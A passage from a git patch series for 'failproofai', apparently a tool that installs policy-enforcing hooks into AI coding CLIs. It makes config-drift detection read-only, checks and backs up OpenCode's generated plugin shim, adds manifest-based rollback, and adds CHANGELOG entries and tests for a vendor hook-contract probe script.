"../../src/hooks/config-repair"; @@ -94,14 +102,15 @@ describe("config-repair: the happy path", () => { expect(readFileSync(outcome.backupPath!, "utf8")).toBe(before); }); - it("bounds how many backups it keeps", () => { + it("bounds how many backups it keeps, pruning whole repairs", () => { + // Pruned by repair, not by file: half a backup set cannot restore anything. const path = install(); for (let i = 0; i < 6; i++) { makeStale(path); repair(); } const dir = join(configBackupsDir(), "claude-project"); - expect(readdirSync(dir).filter((n) => n.endsWith(".bak")).length).toBe(3); + expect(readdirSync(dir).length).toBe(3); }); }); @@ -225,3 +234,71 @@ describe("config-repair: it must never throw", () => { expect(() => repairConfigDrift({ cwd })).not.toThrow(); }); }); + + +describe("config-repair: sidecars are backed up, not just the settings file", () => { + /** OpenCode resolves its project paths from process.cwd(). */ + function inCwd(fn: () => T): T { + const prev = process.cwd(); + process.chdir(cwd); + try { + return fn(); + } finally { + process.chdir(prev); + } + } + + function installOpencode(): { settingsPath: string; shimPath: string } { + const oc = getIntegration("opencode"); + const settingsPath = oc.getSettingsPath("project", cwd); + mkdirSync(dirname(settingsPath), { recursive: true }); + const settings = oc.readSettings(settingsPath); + oc.writeHookEntries(settings, BINARY, "project"); + oc.writeSettings(settingsPath, settings); + return { settingsPath, shimPath: oc.sidecarFiles!(BINARY, "project", settingsPath)[0].path }; + } + + it("copies the generated shim too, so a repair can be undone whole", () => { + // Repair rewrites BOTH the settings file and the shim. Backing up only the + // settings file meant it could write two files and undo one — a bad shim + // beside a restored settings file is a mismatched pair, and a machine left + // worse than we found it. + inCwd(() => { + const { shimPath } = installOpencode(); + writeFileSync(shimPath, "// a shim from an older install\n"); + + const outcome = repairConfigDrift({ cwd, clis: ["opencode"], scopes: ["project"] })[0]; + expect(outcome.action).toBe("repaired"); + + const setDir = dirname(outcome.backupPath!); + const manifest = JSON.parse(readFileSync(join(setDir, "manifest.json"), "utf8")) as { + files: { original: string; existed: boolean }[]; + }; + expect(manifest.files.map((f) => f.original)).toContain(shimPath); + expect(readFileSync(join(setDir, "sidecar-0.bak"), "utf8")).toBe( + "// a shim from an older install\n", + ); + }); + }); + + it("records a sidecar that did not exist, so rollback deletes rather than keeps it", () => { + // The inverse operation. A repair that CREATES a file must, on rollback, + // remove it — restoring "nothing" by doing nothing leaves the machine + // holding a file it never had. + inCwd(() => { + const { shimPath } = installOpencode(); + rmSync(shimPath, { force: true }); + + const outcome = repairConfigDrift({ cwd, clis: ["opencode"], scopes: ["project"] })[0]; + expect(outcome.action).toBe("repaired"); + + const manifest = JSON.parse( + readFileSync(join(dirname(outcome.backupPath!), "manifest.json"), "utf8"), + ) as { files: { original: string; existed: boolean }[] }; + const shim = manifest.files.find((f) => f.original === shimPath); + expect(shim?.existed).toBe(false); + // And the repair really did put it back. + expect(existsSync(shimPath)).toBe(true); + }); + }); +}); diff --git a/src/hooks/config-drift.ts b/src/hooks/config-drift.ts index 4ff4d292c..600a513c7 100644 --- a/src/hooks/config-drift.ts +++ b/src/hooks/config-drift.ts @@ -93,24 +93,6 @@ export interface ConfigDriftReport { * doing by hand. `dogfood-configs.test.ts` fails loudly if it ever happens, * which is the backstop rather than the guard. */ -/** - * Integrations whose `writeHookEntries` is NOT pure. - * - * The whole detector rests on regenerating into a throwaway object and - * comparing, which assumes `writeHookEntries` only mutates what it is handed. - * OpenCode breaks that assumption: it also generates its ~190-line plugin shim - * on disk (`integrations.ts:1138`), because for that CLI the shim IS the - * installation. Calling it from a read-only check rewrote this repo's own - * tracked `.opencode/plugins/failproofai.mjs` — a detector causing the class of - * damage it exists to find. - * - * Kept as an explicit list rather than a guess, and backed by a test that - * asserts `detectConfigDrift` leaves the filesystem byte-identical, so a future - * integration that grows a side effect fails loudly instead of quietly - * rewriting someone's files. - */ -const IMPURE_REGENERATION: ReadonlySet = new Set(["opencode"]); - export function isDogfoodCommand(command: string): boolean { return command.includes("dev-hook.mjs"); } @@ -129,10 +111,20 @@ export function isDogfoodCommand(command: string): boolean { * * Deliberately a raw-text check rather than a structural one: the whole premise * is that we can no longer parse the structure the way we thought. + * + * The bar is our name appearing at all, not our name next to `--hook`. Three + * integrations register a PATH rather than a command — opencode, pi and + * openclaw all point at a plugin file — so a `--hook` requirement missed them + * entirely: an opencode config whose shim had been deleted read as "never + * installed" rather than "installed and broken". Nothing else puts the string + * `failproofai` in a vendor's hook config, and the cost of being wrong is + * bounded anyway: this only runs when we are NOT properly installed, so a hit + * means "there is a trace of us here and we are not working", which is worth + * saying whatever put it there. */ function hasFailproofaiTrace(raw: string): boolean { if (raw.includes(FAILPROOFAI_HOOK_MARKER)) return true; - return raw.includes("failproofai") && raw.includes("--hook"); + return raw.includes("failproofai"); } function containsDogfood(value: unknown, depth = 0): boolean { @@ -164,7 +156,6 @@ function inspectOne( const base: Omit = { cli, scope, settingsPath }; if (!existsSync(settingsPath)) return { ...base, status: "absent" }; - if (IMPURE_REGENERATION.has(cli)) return { ...base, status: "unsupported" }; let current: Record; let regenerated: Record; @@ -193,16 +184,36 @@ function inspectOne( return { ...base, status: "unreadable", detail: "read" }; } // Our entry is in there; we just cannot see it through the shape we expect. - if (hasFailproofaiTrace(raw)) return { ...base, status: "stale", detail: "unrecognised-shape" }; + if (hasFailproofaiTrace(raw)) { + // Prefer the precise cause when we have it. A registration pointing at a + // shim that is missing or stale reads as "not installed" to the + // integration's own check, and reporting that as "unrecognised shape" + // sends the reader looking at the wrong file. + const sidecar = inspectSidecars(integration, binaryPath, scope, settingsPath); + if (sidecar) return { ...base, ...sidecar }; + return { ...base, status: "stale", detail: "unrecognised-shape" }; + } return { ...base, status: "absent" }; } try { - integration.writeHookEntries(regenerated, binaryPath, scope); + // `pure` matters for exactly one integration and is harmless for the other + // eleven: OpenCode's writer also generates its plugin shim on disk, and a + // read-only check that called it rewrote a real tracked file. The shim is + // still checked — as a sidecar, below. + integration.writeHookEntries(regenerated, binaryPath, scope, { pure: true }); } catch (err) { return { ...base, status: "unreadable", detail: errorClass(err) }; } + // A settings file can match perfectly while the file it POINTS AT is stale. + // OpenCode's registration names a generated shim with the binary path baked + // in, so a shim written by a path that has since moved leaves a registration + // that still reads correct and an installation that does nothing. Reporting + // `ok` there is the comfortable lie this module exists to refuse. + const sidecar = inspectSidecars(integration, binaryPath, scope, settingsPath); + if (sidecar) return { ...base, ...sidecar }; + if (stableStringify(current) === stableStringify(regenerated)) return { ...base, status: "ok" }; // Shape first. A difference confined to string VALUES is nearly always our // own path — the detector running from a repo checkout while the global @@ -215,6 +226,37 @@ function inspectOne( return { ...base, status: shapeChanged ? "stale" : "stale_path" }; } +/** + * Compare every file an integration owns beyond its settings file against what + * it would write now. Returns a verdict only when something is wrong. + */ +function inspectSidecars( + integration: ReturnType, + binaryPath: string, + scope: HookScope, + settingsPath: string, +): { status: DriftStatus; detail?: string } | null { + let sidecars: { path: string; content: string }[]; + try { + sidecars = integration.sidecarFiles?.(binaryPath, scope, settingsPath) ?? []; + } catch { + return { status: "unreadable", detail: "sidecar" }; + } + + for (const file of sidecars) { + let actual: string; + try { + actual = readFileSync(file.path, "utf8"); + } catch { + // Registered but the file it names is gone: the CLI loads nothing. + return { status: "stale", detail: "sidecar-missing" }; + } + if (isDogfoodCommand(actual)) return { status: "dogfood" }; + if (actual !== file.content) return { status: "stale", detail: "sidecar-stale" }; + } + return null; +} + /** Error CLASS only — never the message, which can quote file contents. */ function errorClass(err: unknown): string { if (err instanceof Error) { diff --git a/src/hooks/config-repair.ts b/src/hooks/config-repair.ts index 418ed89cb..c8915a97e 100644 --- a/src/hooks/config-repair.ts +++ b/src/hooks/config-repair.ts @@ -42,7 +42,15 @@ * file. Only the vendor's own behaviour can show that — hooks arriving again — * and that check belongs to whatever schedules this, not to the write itself. */ -import { copyFileSync, existsSync, mkdirSync, readdirSync, rmSync, statSync } from "node:fs"; +import { + copyFileSync, + existsSync, + mkdirSync, + readdirSync, + rmSync, + statSync, + writeFileSync, +} from "node:fs"; import { join } from "node:path"; import { getIntegration, resetMistypedContainers } from "./integrations"; import { configBackupsDir } from "./fp-home"; @@ -84,30 +92,89 @@ export interface RepairOptions { } /** - * Copy the current bytes somewhere we own, before touching the original. + * Everything one repair is about to overwrite, and whether it existed. * - * Under `~/.failproofai` rather than beside the file: a `.bak` dropped next to - * `~/.claude/settings.json` is clutter in someone else's directory, and some - * vendors read every file in their config dir. + * `existed: false` is not a detail — it is the inverse operation. A repair that + * CREATES a file (a registration whose shim was missing) must, on rollback, + * delete it again. Restoring "nothing" by doing nothing would leave the machine + * holding a file it did not have before, which is not the state we promised to + * return it to. */ -function backup(cli: IntegrationType, scope: HookScope, settingsPath: string): string { - const dir = join(configBackupsDir(), `${cli}-${scope}`); - mkdirSync(dir, { recursive: true, mode: 0o700 }); +interface BackedUpFile { + original: string; + copy: string; + existed: boolean; +} + +interface BackupSet { + dir: string; + /** The settings file's copy, for the outcome's `backupPath`. */ + settingsCopy: string; + files: BackedUpFile[]; +} + +/** + * Copy everything this repair can touch, before touching any of it. + * + * Under `~/.failproofai` rather than beside the originals: a `.bak` dropped + * next to `~/.claude/settings.json` is clutter in someone else's directory, and + * some vendors read every file in their config dir. + * + * One directory per repair, because a repair is not always one file. OpenCode's + * installation is a settings entry AND a generated plugin shim, and an earlier + * version of this backed up only the settings file — so repair could write two + * files and undo one. The guarantee is "no worse than not repairing", and that + * was quietly false for the one integration with a sidecar: a bad shim plus a + * restored settings file is a mismatched pair, and a machine left worse than we + * found it. + */ +function backup( + cli: IntegrationType, + scope: HookScope, + settingsPath: string, + sidecarPaths: readonly string[], +): BackupSet { const stamp = new Date().toISOString().replace(/[:.]/g, "-"); - const target = join(dir, `${stamp}.bak`); - copyFileSync(settingsPath, target); - prune(dir); - return target; + const dir = join(configBackupsDir(), `${cli}-${scope}`, stamp); + mkdirSync(dir, { recursive: true, mode: 0o700 }); + + const files: BackedUpFile[] = []; + const record = (original: string, name: string): void => { + const copy = join(dir, name); + const existed = existsSync(original); + if (existed) copyFileSync(original, copy); + files.push({ original, copy, existed }); + }; + + record(settingsPath, "settings.bak"); + sidecarPaths.forEach((path, i) => record(path, `sidecar-${i}.bak`)); + + // Self-describing, so a human restoring by hand after a failed rollback can + // see what went where without reading this file. + writeFileSync(join(dir, "manifest.json"), JSON.stringify({ cli, scope, files }, null, 2), { + mode: 0o600, + }); + + prune(join(configBackupsDir(), `${cli}-${scope}`)); + return { dir, settingsCopy: join(dir, "settings.bak"), files }; } -function prune(dir: string): void { +/** Keep the newest few repairs whole; a half-pruned set cannot restore. */ +function prune(parent: string): void { try { - const entries = readdirSync(dir) - .filter((n) => n.endsWith(".bak")) - .map((n) => ({ n, t: statSync(join(dir, n)).mtimeMs })) + const entries = readdirSync(parent) + .map((n) => ({ n, path: join(parent, n) })) + .filter((e) => { + try { + return statSync(e.path).isDirectory(); + } catch { + return false; + } + }) + .map((e) => ({ ...e, t: statSync(e.path).mtimeMs })) .sort((a, b) => b.t - a.t); for (const stale of entries.slice(KEEP_BACKUPS)) { - rmSync(join(dir, stale.n), { force: true }); + rmSync(stale.path, { recursive: true, force: true }); } } catch { // Pruning is hygiene; failing it must not fail a repair. @@ -140,9 +207,24 @@ function repairOne(report: ConfigDriftReport, cwd: string, dryRun: boolean): Rep return { ...base, action: "skipped", reason: "dry-run" }; } - let backupPath: string; + const integration = getIntegration(cli); + const binaryPath = resolveFailproofaiBinary(); + + let backupSet: BackupSet; try { - backupPath = backup(cli, scope, settingsPath); + // Ask the integration what else it owns. Only OpenCode answers with + // anything — its generated plugin shim — and that is exactly the file an + // earlier version of this could overwrite but not put back. + let sidecarPaths: string[] = []; + try { + sidecarPaths = (integration.sidecarFiles?.(binaryPath, scope, settingsPath) ?? []).map( + (f) => f.path, + ); + } catch { + // An integration that cannot describe its sidecars gets none backed up, + // which is the status quo rather than a regression. + } + backupSet = backup(cli, scope, settingsPath, sidecarPaths); } catch (err) { // No backup means no way back, so we do not proceed. Refusing to repair is // the safe direction: it leaves the machine exactly as it was. @@ -151,8 +233,6 @@ function repairOne(report: ConfigDriftReport, cwd: string, dryRun: boolean): Rep let coerced: string[] = []; try { - const integration = getIntegration(cli); - const binaryPath = resolveFailproofaiBinary(); const settings = integration.readSettings(settingsPath); // Shared with the install path: a container whose type the vendor changed @@ -162,36 +242,46 @@ function repairOne(report: ConfigDriftReport, cwd: string, dryRun: boolean): Rep integration.writeHookEntries(settings, binaryPath, scope); integration.writeSettings(settingsPath, settings); } catch (err) { - return restore(base, backupPath, `write-failed:${errorClass(err)}`); + return restore(base, backupSet, `write-failed:${errorClass(err)}`); } const after = statusAfter(cli, scope, settingsPath, cwd); if (after?.status === "ok") { const note = coerced.length > 0 ? `verified-ok;coerced=${coerced.join(",")}` : "verified-ok"; - return { ...base, action: "repaired", reason: note, backupPath }; + return { ...base, action: "repaired", reason: note, backupPath: backupSet.settingsCopy }; } - return restore(base, backupPath, `unverified:${after?.status ?? "gone"}`); + return restore(base, backupSet, `unverified:${after?.status ?? "gone"}`); } function restore( base: { cli: IntegrationType; scope: HookScope; settingsPath: string }, - backupPath: string, + set: BackupSet, reason: string, ): RepairOutcome { - try { - copyFileSync(backupPath, base.settingsPath); - return { ...base, action: "rolled_back", reason, backupPath }; - } catch (err) { - // The worst outcome available: we wrote, it did not verify, and we could - // not put the original back. Say so loudly and name the backup, because a - // human restoring it by hand is now the only route. - return { - ...base, - action: "failed", - reason: `${reason};restore-failed:${errorClass(err)}`, - backupPath, - }; + const failures: string[] = []; + for (const file of set.files) { + try { + if (file.existed) copyFileSync(file.copy, file.original); + // Did not exist before, so it must not exist after: this repair created + // it, and rollback means the machine as it was. + else rmSync(file.original, { force: true }); + } catch (err) { + failures.push(errorClass(err)); + } + } + + if (failures.length === 0) { + return { ...base, action: "rolled_back", reason, backupPath: set.settingsCopy }; } + // The worst outcome available: we wrote, it did not verify, and we could not + // put everything back. Say so loudly and name the directory, because a human + // restoring it by hand is now the only route. + return { + ...base, + action: "failed", + reason: `${reason};restore-failed:${failures.join(",")}`, + backupPath: set.dir, + }; } function errorClass(err: unknown): string { diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index 4b97eb9cb..7b167a052 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -208,6 +208,13 @@ function binaryExists(name: string): boolean { } } +/** A file an integration owns alongside its settings file. */ +export interface SidecarFile { + path: string; + /** What we would write there right now. */ + content: string; +} + // ── Integration interface ─────────────────────────────────────────────────── export interface Integration { @@ -245,8 +252,35 @@ export interface Integration { /** Whether a hook entry is owned by failproofai. Entry shape varies per CLI (object for Claude/Codex/Copilot/Cursor; string or tuple for OpenCode). */ isFailproofaiHook(hook: unknown): boolean; - /** Mutate `settings` in place, registering failproofai across all event types. Idempotent. */ - writeHookEntries(settings: Record, binaryPath: string, scope?: HookScope): void; + /** + * Mutate `settings` in place, registering failproofai across all event types. + * Idempotent. + * + * `opts.pure` asks for the OBJECT mutation only, with no filesystem side + * effects. Eleven integrations are pure already and ignore it; OpenCode is + * not, because for that CLI the generated plugin shim IS the installation + * (see `sidecarFiles`). A read-only caller — drift detection — passes it so + * that inspecting a machine cannot write to it. + */ + writeHookEntries( + settings: Record, + binaryPath: string, + scope?: HookScope, + opts?: { pure?: boolean }, + ): void; + + /** + * Files this integration owns BESIDES the settings file, with the exact + * contents it would write today. + * + * Only OpenCode has any: its plugin shim is generated per machine, with the + * binary path baked in, rather than shipped in the tarball the way + * `pi-extension/` and `openclaw-plugin/` are. That distinction is the whole + * reason it needs this — a registration can point at a shim that is stale, + * and a check that read only the registration would report a healthy machine + * while the shim it names still invokes a binary path that moved. + */ + sidecarFiles?(binaryPath: string, scope: HookScope, settingsPath: string): SidecarFile[]; /** Remove all failproofai hook entries from a settings file. Returns the number removed. */ removeHooksFromFile(settingsPath: string): number; @@ -1187,7 +1221,7 @@ export const opencode: Integration = { * marker keeps user files safe in removeHooksFromFile); (b) merge our * plugin entry into opencode.json's `plugin` array. */ - writeHookEntries(settings, binaryPath, scope) { + writeHookEntries(settings, binaryPath, scope, opts) { const s = settings as OpenCodeSettingsFile; const effectiveScope: HookScope = scope ?? "project"; @@ -1204,8 +1238,16 @@ export const opencode: Integration = { // (a) Write the shim file. mkdirSync is recursive so the plugins/ dir // is created on first install. - mkdirSync(dirname(pluginPath), { recursive: true }); - writeFileSync(pluginPath, buildOpenCodePluginShim(binaryPath, effectiveScope), "utf8"); + // + // Skipped for a pure caller. This single `writeFileSync` is what made + // OpenCode the one integration a read-only check could not inspect: drift + // detection regenerates through this method to compare, and doing so + // rewrote a real, tracked shim on disk. The shim is still checked — it is + // declared as a sidecar below, so it is compared rather than rewritten. + if (!opts?.pure) { + mkdirSync(dirname(pluginPath), { recursive: true }); + writeFileSync(pluginPath, buildOpenCodePluginShim(binaryPath, effectiveScope), "utf8"); + } // (b) Merge our entry into the plugin array idempotently. Replace any // existing failproofai-marked entry; otherwise append. @@ -1219,6 +1261,19 @@ export const opencode: Integration = { } }, + /** + * The generated shim, so drift detection can compare it instead of trusting + * that the registration pointing at it is enough. + */ + sidecarFiles(binaryPath, scope, settingsPath) { + return [ + { + path: opencodePluginFilePath(settingsPath), + content: buildOpenCodePluginShim(binaryPath, scope), + }, + ]; + }, + /** * Uninstall: (a) remove our plugin entry from the array; if the array is * empty, delete the key. (b) Delete the plugin file ONLY if it has the From 206779b284ca5bfecbcba89e403657931787cfa2 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 13:40:46 +0530 Subject: [PATCH 08/18] Capture each vendor's live hook contract, and make a broken run impossible to mistake for a clean one MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `contracts-probe.sh` drives one CLI through a real session and records what came back. It asks a different question from `probe-cli.sh`: not "is enforcement working" — which needs a deny to observe — but "does this vendor still accept the config we install, and what do its payloads look like today". The verdict is read off two independent witnesses, the file the agent was asked to create and the events we received, with no judgement of the model's output. That second witness is what makes the decisive case reachable at all: file created and no PreToolUse means the tool RAN and we were not called, which is the config-rejected class that leaves no evidence anywhere else — when a vendor rejects our config, nothing reaches us, and silence at our end is identical to a quiet day. Three failures would each have let this report "clean" while broken, which is worse than no lab at all: - `observed.json` accumulates by design, so a CLI whose hooks stopped firing would keep showing yesterday's events forever. Deleted before every run. - Writes are throttled and the daemon SIGKILLs the worker, so a whole run's observations can die unwritten. `FAILPROOFAI_OBSERVE_INTERVAL_MS=0`. - Everything upstream — credentials, install — is deliberately non-fatal, so a CLI that never started yields an empty table byte-identical to a healthy CLI that was simply idle. Only exit status separates them, so both now exit 2. An exit trap covers the deaths nobody planned for: `set -u` turns one unset CANARY_* variable into an immediate exit from inside drive(), and the outer job would have collected nothing for that CLI — no line, no artifact, nothing to distinguish it from one that was never scheduled. The probe carries its own copy of the canary's drive() rather than refactoring the canary's working code, which several tests pin; a parity test asserts the two stay identical per CLI. Verified end to end against a live goose session: all five events, the exact payload keys including an undocumented `matcher_context`, and the vendor version. Also adds the CHANGELOG entries for the detect/repair/doctor work already on this branch, which had none. --- .gitignore | 5 + CHANGELOG.md | 24 ++ .../contracts-drive-parity.test.ts | 60 +++++ .../contracts-verdict.test.ts | 125 ++++++++++ integration-suite/contracts-probe.sh | 224 ++++++++++++++++++ 5 files changed, 438 insertions(+) create mode 100644 __tests__/integration-suite/contracts-drive-parity.test.ts create mode 100644 __tests__/integration-suite/contracts-verdict.test.ts create mode 100755 integration-suite/contracts-probe.sh diff --git a/.gitignore b/.gitignore index 7df567302..3926ad325 100644 --- a/.gitignore +++ b/.gitignore @@ -138,3 +138,8 @@ COMMIT_MSG.tmp # blog drafts (local, not for commit yet) /blog/ + +# contracts-probe writes each run's observation table here for the outer job to +# collect. It is evidence about a vendor, produced fresh every run — never +# source, and never something a stray local run should offer to commit. +/integration-suite/out/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 3db61b9e9..76204a73c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -34,6 +34,30 @@ - Give the version probe a PATH that can resolve `#!/usr/bin/env node`, and stop it recording a failure as an answer. Both were found by running the finished feature on a real daemon rather than in a container. `failproofaid` is a system-scope service, so its PATH is built without ever reading a login shell — `/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin` on a normal box, and nvm's node is on none of them. codex, copilot and pi are npm shims with exactly that shebang, so all three failed to start at all on a machine where they work perfectly from a shell, and the probe filed `/usr/bin/env: 'node': No such file or directory` **as the version**, because an earlier first-line fallback preferred recording something eyeball-able to recording nothing. The child now inherits `dirname(process.execPath)` on PATH — the node already executing the worker, which by construction exists, and the same fix the installed service unit already applies to the worker command — and output with no version-shaped token is now simply no version. A wrong version is worse than a missing one: it is the claim-that-outlives-its-evidence this feature exists to catch. (#PR) +- Detect when a vendor's hook-config format has drifted from the one this build installs, for every CLI and scope, and report it as a first-class status rather than a log line. This is the failure class the observer above cannot see: when a vendor rejects our config outright the session runs completely unhooked, so *no* events arrive, and silence at our end is indistinguishable from a quiet day. Copilot 1.0.71 did exactly this — `hooks` went from array to object, older files were rejected wholesale with no user-visible warning, and the session ran with zero enforcement. + + There is deliberately **no schema file**. A template per `(cli, version)` would be a third copy of something `writeHookEntries` and the file on disk already state, and the copy nobody executes is the one that goes stale without telling anyone. The check instead asks *"if you reinstalled right now, would this file change?"* — regenerate through the same writer the installer runs, and compare. The expectation IS the code, so it cannot drift away from what we actually install. + + Two things that comparison gets wrong were found by running it on a real machine, not in a test. Comparing **values** flagged pi purely because the check ran from a repo while the global install had written the file, so a differing binary path is now `stale_path` and never a finding — only structural difference is `stale`. And regeneration is not free of side effects: `writeHookEntries` is pure for eleven integrations, but OpenCode's also generates its plugin shim, so a read-only check rewrote this repo's own tracked `.opencode/plugins/failproofai.mjs`. Purity is now explicit (`{ pure: true }`), sidecars are declared rather than incidental, and a test pins exactly which writers touch disk. (#PR) + +- Repair a drifted config, verify it by outcome, and roll back if it did not take. Auto-repair is **default-on**, which is the uncomfortable call and the right one: failproofai runs on headless servers with no operator, where a warning goes to a log nobody opens. Warn-only guarantees a long window of silent zero enforcement on exactly the machines that cannot report it. The symmetry is what makes it defensible — on an unmonitored box, no repair means enforcement is silently absent, and a bad repair means enforcement is silently absent plus a mangled file. Nobody notices either, so the rules exist to make the worst case of repairing no worse than not repairing: only `stale` is touched (never `absent` — installing where they never did is us deciding for them), never this repo's own dogfood configs, always a backup first. + + Verification is the part that is easy to get wrong. Re-reading our own file proves nothing: `hooksInstalledInSettings()` returned `true` throughout both production incidents, because it reads our own marker. Repair therefore re-runs detection and requires `ok`, and restores the previous bytes when it does not get it. What it deliberately does not claim is that the vendor now accepts the file — only the vendor's own behaviour can show that. (#PR) + +- Close the loop with `failproofai doctor`, and a daemon lane that runs it unattended. The lane is a twin of the scheduled-audit lane rather than a new worker message: the warm worker's socket speaks only `hook`, a committed tripwire test fails on new message types, and its 30s cap would become a machine-wide deny. Exit codes are the contract — `0` clean or repaired, `1` findings remain, `2` could not check — so a cron line or a CI step can act on it without parsing prose. Project scope is repaired opportunistically on the hook path instead, because the daemon has no session cwd and the protocol forbids inventing one. (#PR) + +- Add `integration-suite/contracts-probe.sh`: a per-CLI probe that answers "does this vendor still accept our config, and what do its payloads look like today" from a real session against a real vendor. It needs no deny to observe, only a tool call — the agent is asked to create a file, and the verdict is read off two independent witnesses, the file and the events we received, with no judgement of the model's output. + + The created file is what makes the decisive case reachable at all: **file created + no `PreToolUse` means the tool ran and we were not called**, which is the config-rejected class that produces no evidence anywhere else. Two outcomes are loud on purpose (exit 2) rather than folded into "inconclusive": a CLI that never started, and one that ran clean and told us nothing. Everything upstream — credentials, install — is deliberately non-fatal, so both would otherwise yield an empty observation table byte-identical to a healthy CLI that was simply idle, and a lab that reports clean when it is broken is worse than no lab. + + Two properties would silently invalidate a run and are handled explicitly: `observed.json` **accumulates** by design, so a CLI whose hooks stopped firing would keep showing yesterday's events and read healthy forever — it is deleted before every run; and writes are throttled while the daemon SIGKILLs the worker, so `FAILPROOFAI_OBSERVE_INTERVAL_MS=0` makes every discovery hit disk immediately. The probe carries its own copy of the canary's `drive()` rather than refactoring the canary's working code, with a test asserting the two stay identical per CLI. Verified end to end against a live goose session, which captured all five events, the exact payload keys including an undocumented `matcher_context`, and the vendor version. (#PR) + +### Fixes + +- **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) + +- Back up **everything a repair touches**, not just the settings file. OpenCode's installation is a settings entry *and* a generated plugin shim, so repair could write two files and undo one — and a stale shim beside a restored settings file is a mismatched pair, which is a machine left worse than we found it. Each repair now gets its own backup directory with a manifest recording, per file, whether it existed beforehand. That flag is the inverse operation, not a detail: a repair that *creates* a file must delete it on rollback, because restoring "nothing" by doing nothing leaves the machine holding a file it never had. Backups are pruned by repair rather than by file, since half a backup set cannot restore anything. (#PR) + ## 1.0.1-beta.1 — 2026-08-16 ### Fixes diff --git a/__tests__/integration-suite/contracts-drive-parity.test.ts b/__tests__/integration-suite/contracts-drive-parity.test.ts new file mode 100644 index 000000000..d67466658 --- /dev/null +++ b/__tests__/integration-suite/contracts-drive-parity.test.ts @@ -0,0 +1,60 @@ +// @vitest-environment node +/** + * `contracts-probe.sh` carries its own copy of `drive()` rather than importing + * one, because `probe-cli.sh` is the canary's working code, several tests + * assert on its contents, and refactoring it to share a function would put the + * boss's nightly run at risk for a tidiness win. + * + * The cost of copying is drift: a flag added to one and not the other means the + * two harnesses are driving different CLIs, and the contracts lab would report + * on an invocation nobody actually ships. This pins them together — per CLI, + * byte for byte — so the copy is safe rather than merely convenient. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync } from "node:fs"; +import path from "node:path"; + +const SUITE = path.join(__dirname, "..", "..", "integration-suite"); +const probeSh = readFileSync(path.join(SUITE, "probe-cli.sh"), "utf8"); +const contractsSh = readFileSync(path.join(SUITE, "contracts-probe.sh"), "utf8"); + +/** The body of `drive()`, as a map of cli -> its case arm, whitespace-normalised. */ +function driveArms(script: string): Record { + const start = script.indexOf("drive() {"); + expect(start).toBeGreaterThan(-1); + const body = script.slice(start, script.indexOf("\n}", start)); + const arms: Record = {}; + for (const line of body.split("\n")) { + const m = /^\s*([a-z]+)\)\s*\(\s*cd "\$BASE" &&(.*)$/.exec(line); + if (!m) continue; + arms[m[1]] = m[2] + // Trailing comments differ between the two files by design. + .replace(/#.*$/, "") + // Session keys are per-run identifiers, deliberately namespaced per + // harness so one run's sessions are never mistaken for the other's. + // What must match is the FLAGS, not the label. + .replace(/--session-key "[^"]*"/, '--session-key ""') + .replace(/\s+/g, " ") + .trim(); + } + return arms; +} + +describe("contracts-probe drive() parity with probe-cli", () => { + const canary = driveArms(probeSh); + const contracts = driveArms(contractsSh); + + it("covers every CLI the canary drives", () => { + expect(Object.keys(contracts).sort()).toEqual(Object.keys(canary).sort()); + }); + + it.each(Object.keys(canary))("drives %s identically", (cli) => { + // A difference here means the lab is measuring an invocation the canary + // does not use, or vice versa. + expect(contracts[cli]).toBe(canary[cli]); + }); + + it("finds a non-trivial number of CLIs, so a parsing slip cannot pass vacuously", () => { + expect(Object.keys(canary).length).toBeGreaterThanOrEqual(12); + }); +}); diff --git a/__tests__/integration-suite/contracts-verdict.test.ts b/__tests__/integration-suite/contracts-verdict.test.ts new file mode 100644 index 000000000..97b2ef84c --- /dev/null +++ b/__tests__/integration-suite/contracts-verdict.test.ts @@ -0,0 +1,125 @@ +// @vitest-environment node +/** + * The contracts probe's oracle, in isolation. + * + * A daily lab that reports "clean" when it is actually broken is worse than no + * lab, because it converts an unknown into a false assurance. Every outcome + * below is therefore pinned, especially the ones that must NOT be quiet: + * + * - DRIFT is the finding the whole lab exists for, and it is the one no real + * CLI produces on demand — a live run can only reach it by a vendor actually + * breaking. Asking for it directly is the only way it is ever exercised. + * - The two ERROR rows are the traps. Upstream steps (credentials, install) + * are deliberately non-fatal, so a CLI that never started yields an empty + * observation table — byte-identical to a healthy CLI that was simply idle. + * Exit status is what separates them, and it must stay loud. + */ +import { describe, it, expect } from "vitest"; +import { execFileSync } from "node:child_process"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; + +const PROBE = path.join(__dirname, "..", "..", "integration-suite", "contracts-probe.sh"); + +function runProbe(args: string[], env: Record = {}) { + try { + const out = execFileSync("bash", [PROBE, ...args], { + encoding: "utf8", + env: { ...process.env, ...env }, + stdio: ["ignore", "pipe", "ignore"], + }); + return { exitCode: 0, ...parse(out) }; + } catch (err) { + const e = err as { status: number; stdout: string }; + return { exitCode: e.status, ...parse(e.stdout) }; + } +} + +function decide(acted: 0 | 1, events: string[], driveRc = 0) { + return runProbe(["--decide", "claude", String(acted), JSON.stringify(events), String(driveRc)]); +} + +function parse(out: string): { verdict: string; note: string } { + const line = out.split("\n").find((l) => l.startsWith("CONTRACTS_JSON ")); + if (!line) throw new Error(`no verdict line in: ${out}`); + return JSON.parse(line.slice("CONTRACTS_JSON ".length)) as { verdict: string; note: string }; +} + +describe("contracts probe: the oracle", () => { + it("is OK only when a tool ran AND we were called", () => { + const r = decide(1, ["PreToolUse", 